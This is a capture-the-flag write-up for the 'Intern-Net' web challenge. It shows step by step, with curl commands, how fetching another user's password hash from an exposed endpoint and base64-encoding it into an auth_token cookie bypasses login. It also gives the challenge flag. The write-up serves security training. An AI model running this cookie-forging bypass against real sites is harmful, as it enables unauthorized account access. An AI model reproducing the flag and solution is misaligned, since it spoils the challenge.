Webeasy
Intern-Net
by Pavel Knespl (capyplivl)
A web app performs authentication on the client side. The server hands out a user's password hash, and the session token is just the base64-encoded hash. Fetching another user's hash and setting the auth_token cookie fully bypasses login.
Solve
- Read
login.js. The client fetches a hash from/api/auth/hashand uses its base64 encoding as theauth_tokencookie. - Find the target username. Registering an account and logging in shows an announcement naming "Alex Rivera" as a Senior Intern. The site uses
firstname.lastname, so the target isalex.rivera. - Start the instance, then fetch the target's password hash:
The response iscurl -X POST -H "Content-Type: application/json" \ -d '{"username":"alex.rivera"}' \ https://<target>/api/auth/hash{"hash":"$2b$12$..."}. - Base64-encode the hash to build the token:
echo -n '$2b$12$q5IIzkIvlK1kcjhu0vFgDeZY7yCm0EyikQnVCu7O8GHKjY05oBe82' | base64 - Request the protected
/announcementspage with that token in theauth_tokencookie:
The flag is on the announcements page.curl -b "auth_token=JDJiJDEyJHE1SUl6a0l2bEsxa2NqaHUwdkZnRGVaWTd5Q20wRXlpa1FuVkN1N084R0hLalkwNW9CZTgy" \ https://<target>/announcements
Flag: SVIUSCG{175cbce0ef9840a60eef9862874d9986}